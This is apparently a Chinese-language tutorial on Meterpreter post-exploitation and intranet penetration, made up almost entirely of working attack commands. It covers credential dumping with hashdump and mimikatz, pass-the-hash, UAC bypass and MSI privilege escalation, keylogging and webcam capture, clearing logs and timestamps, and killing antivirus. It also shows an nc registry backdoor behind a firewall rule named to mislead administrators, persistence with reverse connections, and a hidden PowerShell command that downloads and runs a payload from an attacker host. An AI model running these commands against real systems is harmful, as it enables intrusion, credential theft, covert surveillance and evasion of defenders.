由于最近想学习关于内网渗透的一些知识,前面也有师傅写了关于meterpreter的使用攻略,我这里就来复现学习一下。
Meterpreter是Metasploit框架中的一个扩展模块,作为后渗透阶段的利器,其强大之处可想而知,我这里就简单介绍一下在渗透中可能用的到的一些命令,如若有什么不对的地方还请师傅们多多指教。
background # 将当前会话放置后台
sessions # sessions –h 查看帮助
sessions -i <ID值> #进入会话 -k 杀死会话
bgrun / run # 执行已有的模块,输入run后按两下tab,列出已有的脚本
info # 查看已有模块信息
getuid # 查看当前用户身份
getprivs # 查看当前用户具备的权限
getpid # 获取当前进程ID(PID)
sysinfo # 查看目标机系统信息
irb # 开启ruby终端
ps # 查看正在运行的进程
kill <PID值> # 杀死指定PID进程
idletime # 查看目标机闲置时间
reboot / shutdown # 重启/关机
shell # 进入目标机cmd shell
whoami # 当前权限
quser # 查询当前在线的管理员
net user # 查看存在用户
net user 用户名 密码 /add # 添加用户和对应密码
net localgroup 用户组名 用户名 /add # 将指定用户添加到指定用户组
netstat -ano # 查询当前计算机中网络连接通信情况,LISTENING表示该端口处于监听状态;ESTABLISHED表示该端口处于工作(通信)状态
systeminfo # 查看当前计算机中的详细情况
tasklist /svc # 查看每个进程所对应的服务
taskkill /f /im 程序名称 # 结束某个指定名称的程序
taskkill /f /PID ID # 结束某个指定PID的进程
tasklist | findstr "字符串" # 查找输出结果中指定的内容
netsh adcfirewall set allprofiles state off # 关闭防火墙
logoff # 注销某个指定用户的ID
shutdown -r # 重启当前计算机
uictl [enable/disable] [keyboard/mouse/all] # 开启或禁止键盘/鼠标
uictl disable mouse # 禁用鼠标
uictl disable keyboard # 禁用键盘
execute #在目标机中执行文件
execute -H -i -f cmd.exe # 创建新进程cmd.exe,-H不可见,-i交互
execute -H -m -d notepad.exe -f payload.exe -a "-o hack.txt"
# -d 在目标主机执行时显示的进程名称(用以伪装)-m 直接从内存中执行
"-o hack.txt"是payload.exe的运行参数
getpid # 获取当前进程的pid
ps # 查看当前活跃进程
migrate <pid值> # 将Meterpreter会话移植到指定pid值进程中
kill <pid值> # 杀死进程
clearev # 清除windows中的应用程序日志、系统日志、安全日志
ls # 列出当前目录中的文件列表
cd # 进入指定目录
getwd / pwd # 查看当前工作目录
search -d c:\\ -f *.txt # 搜索文件 -d 目录 -f 文件名
cat c:\\123.txt # 查看文件内容
upload /tmp/hack.txt C:\\ # 上传文件到目标机上
download c:\\123.txt /tmp/ # 下载文件到本机上
edit c:\\test.txt # 编辑或创建文件 没有的话,会新建文件
rm C:\\hack.txt # 删除文件
mkdir admin # 只能在当前目录下创建文件夹
rmdir admin # 只能删除当前目录下文件夹
getlwd / lpwd # 查看本地当前目录
lcd /tmp # 切换本地目录
timestomp C:\\ -h #查看帮助
timestomp -v C:\\2.txt #查看时间戳
timestomp C:\\2.txt -f C:\\1.txt #将1.txt的时间戳复制给2.txt
timestomp c:\\test\\22.txt -z "03/10/2019 11:55:55" -v # 把四个属性设置为统一时间
ipconfig/ifconfig # 查看网络接口信息
netstat –ano # 查看网络连接状态
arp # 查看arp缓冲表
getproxy # 查看代理信息
route # 查看路由表信息
portfwd add -l 1111 -p 3389 -r 127.0.0.1 #将目标机的3389端口转发到本地1111端口
rdesktop 127.0.0.1:1111 # 需要输入用户名密码连接
rdesktop -u Administrator -p 123 127.0.0.1:1111 # -u 用户名 -p 密码
可参考:https://www.anquanke.com/post/id/86505
run autoroute -h # 查看帮助
run get_local_subnets # 查看目标内网网段地址
run autoroute -s 192.168.183.0/24 # 添加目标网段路由
run autoroute -p # 查看添加的路由
run post/windows/gather/arp_scanner RHOSTS=192.168.183.0/24
run auxiliary/scanner/portscan/tcp RHOSTS=192.168.183.146 PORTS=3389
可参考:https://www.freebuf.com/articles/network/125278.html
只有在目标设备添加完路由后才可以通过msf自带的socks4a模块进行socks4代理转发
use auxiliary/server/socks4a
set srvhost 127.0.0.1
set srvport 2000
run
然后vim /etc/proxychains.conf
,在文件末尾添加socks4代理服务器
使用proxychains代理访问执行nmap操作
proxychains nmap -sV -p 445 --script=smb-vuln-ms17-010.nse 192.168.183.146 # 扫描永恒之蓝漏洞
proxychains hydra 192.168.183.146 rdp -l administrator -P password.txt -V # rdp服务暴力破解
run arp_scanner -r 192.168.183.1/24 # 利用arp进行存活主机扫描
run winenum # 自动化执行一些检测脚本
run credcollect # 获取用户hash
run domain_list_gen # 获取域管理账户列表
run post/multi/gather/env # 获取用户环境变量
run post/windows/gather/enum_logged_on_users -c # 列出当前登录用户
run post/linux/gather/checkvm # 是否虚拟机
run post/windows/gather/checkvm # 是否虚拟机
run post/windows/gather/forensics/enum_drives # 查看磁盘分区信息
run post/windows/gather/enum_applications # 获取安装软件信息
run post/windows/gather/dumplinks # 获取最近访问过的文档、链接信息
run post/windows/gather/enum_ie # 获取IE缓存
run post/windows/gather/enum_firefox # 获取firefox缓存
run post/windows/gather/enum_chrome # 获取Chrome缓存
run post/multi/recon/local_exploit_suggester # 获取本地提权漏洞
run post/windows/gather/enum_patches # 获取补丁信息
run post/windows/gather/enum_domain # 查找域控
run post/windows/gather/enum_snmp # 获取snmp团体名称
run post/windows/gather/credentials/vnc # 获取vnc密码
run post/windows/wlan/wlan_profile # 用于读取目标主机WiFi密码
run post/multi/gather/wlan_geolocate # 基于wlan进行地理位置确认 文件位于/root/.msf4/loot
run post/windows/manage/killav 关闭杀毒软件
auxiliary/scanner/mssql/mssql_login
auxiliary/scanner/ftp/ftp_login
auxiliary/scanner/ssh/ssh_login
auxiliary/scanner/telnet/telnet_login
auxiliary/scanner/smb/smb_login
auxiliary/scanner/mssql/mssql_login
auxiliary/scanner/mysql/mysql_login
auxiliary/scanner/oracle/oracle_login
auxiliary/scanner/postgres/postgres_login
auxiliary/scanner/vnc/vnc_login
auxiliary/scanner/pcanywhere/pcanywhere_login
auxiliary/scanner/snmp/snmp_login
auxiliary/scanner/ftp/anonymous
keyscan_start # 开始键盘记录
keyscan_dump # 导出记录数据
keyscan_stop # 结束键盘记录
use sniffer
sniffer_interfaces # 查看网卡
sniffer_start 1 # 选择网卡1开始抓包
sniffer_stats 1 # 查看网卡1状态
sniffer_dump 1 /tmp/wlan1.pcap # 导出pcap数据包
sniffer_stop 1 # 停止网卡1抓包
sniffer_release 1 # 释放网卡1流量
steal_token <pid值> # 从指定进程中窃取token
drop_token # 停止假冒当前的token
record_mic # 音频录制
webcam_chat # 开启视频聊天(对方有弹窗)
webcam_list # 查看摄像头
webcam_snap # 通过摄像头拍照
webcam_stream # 通过摄像头开启视频监控(以网页形式进行监控≈直播)
screenshot # 截屏
use espia # 使用espia模块
screengrab # 截屏
利用getsystem命令提权,该命令会自动寻找各种可能的提权技术来使得用户将权限提升到更高的级别。提权方式采用命令管道模拟提升的方法和令牌复制的方法。
getsystem
本地漏洞提权即是通过运行一些造成溢出漏洞的exploit,把用户从普通权限提升为管理员权限。
1.利用getuid查看已获得权限,尝试利用getsystem提权,失败。
2.利用enum_patches模块搜集补丁信息,然后寻找可利用的exploits进行提权。
run post/windows/gather/enum_patches #查看补丁信息
background
search MS10-015
use exploit/windows/local/ms10_015_kitrap0d
set session 8
run
msf内置一些bypassuac脚本,原理不同,使用方法类似,执行后返回一个新的会话,再次执行getsystem即可提权
exploit/windows/local/bypassuac
exploit/windows/local/bypassuac_eventvwr
exploit/windows/local/bypassuac_injection
exploit/windows/local/bypassuac_injection_winsxs
exploit/windows/local/bypassuac_silentcleanup
exploit/windows/local/bypassuac_vbs
使用命令getsystem提权失败,然后利用bypassuac来提权,这里利用exploit/windows/local/bypassuac模块(32位、64位都有效)
use exploit/windows/local/bypassuac
set session 1
run
该方法利用exploit/windows/local/ask模块(32位、64位都有效),创建一个可执行文件并在目标机上发起一个提升权限请求的程序,触发系统UAC,提示用户是否要继续,如果用户选择“是”,则会返回一个高权限的meterpreter shell。
use exploit/windows/local/ask
set filename update.exe # 设置反弹程序名称
set session 1
run
输入run命令以后会在目标机上弹出UAC,提示用户是否允许,选择是就会返回一个高权限的meterpreter shell。
注意事项:
使用RunAs模块进行提权时,系统当前用户须在管理员组或者知道管理员的密码,用户账户控制程序UAC设置则没有要求。使用RunAs模块进行提权时,会创建一个可执行文件,为了避免给杀毒软件查杀,该可执行文件(需进行免杀处理)的创建要使用EXE::Custom选项。
令牌是系统临时密钥,它允许你在不提供密码或其他凭证的前提下,访问网络和系统资源。这些令牌将持续存在于系统中,除非系统重新启动。一般有两种类型的令牌,一种是Delegation Tokens,也就是授权令牌,它支持交互式登录(例如远程桌面登陆登录)。还有一种是Impersonation Tokens,也就是模拟令牌,它是非交互的会话(例如访问文件共享)。
use incognito # 加载窃取令牌模块
list_tokens -u # 查看可用的用户令牌
list_tokens -g # 查看可用的用户组令牌
impersonate_token 'NT AUTHORITY\SYSTEM' # 假冒SYSTEM token
rev2self #返回原始token
AlwaysInstallElevated是一个策略设置。微软允许非授权用户以SYSTEM权限运行安装文件(MSI),如果用户启用此策略设置,那么黑客利用恶意的MSI文件就可以进行管理员权限的提升。
不过利用此方法有个前提条件,需要有两个注册表的键值为1,我们可以在cmdshell下查看AlwaysInstallElevated是否被定义
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
如上图所示已经开启AlwaysInstallElevated,如果在组策略里未定义AlwaysInstallElevated,则会出现“错误: 系统找不到指定的注册表项或值”的提示,如下图所示:
如果需要开启可以选择以下方法:
1.打开组策略编辑器(运行框输入gpedit.msc)
2.组策略->计算机配置->管理模版->Windows组件->Windows Installer->永远以高特权进行安装:选择启用
3.组策略->用户配置->管理模版->Windows组件->Windows Installer->永远以高特权进行安装:选择启用
设置完成后对应注册表的位置值会设为1,开启AlwaysInstallElevated。
利用msfvenom命令生成一个在目标机上增加管理员用户的MSI安装文件,这里密码要设置为强密码,否则会报错。
msfvenom -p windows/adduser USER=msi PASS=Abc123@@ -f msi -o msi.msi
upload msi.msi c:\\Users\\test # 部分目录由于权限原因可能上传失败
msiexec /quiet /qn /i msi.msi # /quiet=安装过程中禁止向用户发送消息 /qn=不使用图形界面 /i=安装程序
net localgroup administrators
执行成功后查看管理员组发现用户已经添加成功
注意:
由于是msf生成的msi文件,所以默认会被杀毒软件拦截,需要做好免杀。
hashdump
run post/windows/gather/smart_hashdump
得到的hash可以拿去https://cmd5.com/ 解密一下即是用户密码
load mimikatz # 加载mimikatz模块
msv # 获取用户和hash值
kerberos # 获取内存中的明文密码信息
wdigest # 获取内存中的明文密码信息
mimikatz_command -f a:: # 需要以错误的模块来让正确的模块显示
mimikatz_command -f sekurlsa::searchPasswords # 获取用户密码
mimikatz_command -f samdump::hashes # 执行用户hash
kiwi是利用的mimikatz扩展,运行需要SYSTEM权限
load kiwi
creds_all
利用hashdump得到用户的hash后可利用psexec模块进行哈希传递攻击。
使用psexec的前提:SMB服务必须开启,也就是开启445端口;Admin$可以访问。
use exploit/windows/smb/psexec
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.183.147
set LPORT 443
set RHOST 192.168.183.154
set SMBUSER Administrator
set SMBPASS ccf**4ee:3db**678
set SMBDOMAIN WORKGROUP # 域用户需要设置SMBDOMAIN
run
这里需要注意的是通过getgui命令,虽然可以成功添加用户,但是没有权限远程登录桌面,这里推荐使用enable_rdp脚本添加。
run getgui –h # 查看帮助
run getgui -e # 开启远程桌面
run getgui -u admin -p admin # 添加用户
run getgui -f 6666 -e # 3389端口转发到6666
通过enable_rdp脚本将用户添加到远程桌面用户组和管理员用户组
run post/windows/manage/enable_rdp #开启远程桌面
run post/windows/manage/enable_rdp USERNAME=admin PASSWORD=admin # 添加用户
run post/windows/manage/enable_rdp FORWARD=true LPORT=6667 # 将3389端口转发到6667
enumdesktops # 查看可用的桌面
getdesktop # 获取当前meterpreter 关联的桌面
setdesktop # 设置meterpreter关联的桌面 -h查看帮助
run vnc # 使用vnc远程桌面连接
rdesktop 127.0.0.1:1111 # 需要输入用户名密码连接
rdesktop -u Administrator -p 123 127.0.0.1:1111 # -u 用户名 -p 密码
reg –h # 查看帮助
-k 注册表的路径 -v 键的名称 -d 键值
reg enumkey [-k <key>] # 枚举注册表的内容
reg createkey [-k <key>] # 创建注册表项
reg deletekey [-k <key>] # 删除注册表项
reg setval [-k <key> -v <val> -d <data>] # 在注册表里添加内容
reg deleteval [-k <key> -v <val>] # 删除注册表的值
reg queryval [-k <key> -v <val>] # 查询注册表的值
1.编辑注册表,添加nc到系统启动项中,形成后门程序。
upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32 # 上传nc到目标主机
reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run # 枚举注册表run下的键值
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v test_nc -d 'C:\windows\system32\nc.exe -Ldp 443 -e cmd.exe' # 设置键值 -v 键的名称 -d 键值
reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v test_nc # 查询test_nc的键值
2.设置防火墙允许通过443端口(如果目标主机开启防火墙,没有设置相应的规则可能会导致连接失败。)
shell
netsh firewall show opmode # 查看防火墙状态
netsh firewall add portopening TCP 443 "网络发现(Pub PSD-Out)" ENABLE ALL # 添加防火墙的规则允许443端口通过(这里“网络发现(Pub PSD-Out)”是规则名称,目的是为了迷惑管理员。)
3.待目标主机重启后,自启nc程序,然后我们利用nc连接即可
在我们通过漏洞获取到目标主机权限之后,如果目标主机主机重启亦或是管理员发现并修补了漏洞,那么我们就会失去对服务器的控制权,所以我们需要通过植入后门来维持权限,前面说的nc后门就是其中一种,另外一般还有Persistence和Metsvc
run persistence –h # 查看帮助
run persistence -X -i 5 -p 4444 -r 192.168.183.147
run persistence -U -i 5 -p 4444 -r 192.168.183.147 -L c:\\Windows\\System32
-X:设置后门在系统启动后自启动。该方式会在HKLM\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息。由于权限原因会导致添加失败,后门无法启动。因此在非管理员权限下,不推荐使用该参数
-U:设置后门在用户登录后自启动。该方式会在HKCU\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息
-L:后门传到远程主机的位置默认为%TEMP%
-i:设置反向连接间隔时间为5秒
-p:设置反向连接的端口号
-r:设置反向连接的ip地址
run metsvc -h # 查看帮助
run metsvc -A # 自动安装后门
run metsvc -r # 删除后门
连接后门
use exploit/multi/handler
set payload windows/metsvc_bind_tcp
set rhost 192.168.183.169
set lport 31337
run
use exploit/multi/script/web_delivery
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.183.147
set LPORT 2334
set srvport 2333
set uripath /
set target 5
run
在目标设备cmd上执行以下命令即可反弹
powershell.exe -nop -w hidden -c $z="echo ($env:temp+'\eJedcsJE.exe')"; (new-object System.Net.WebClient).DownloadFile('http://192.168.183.147:2333/', $z); invoke-item $z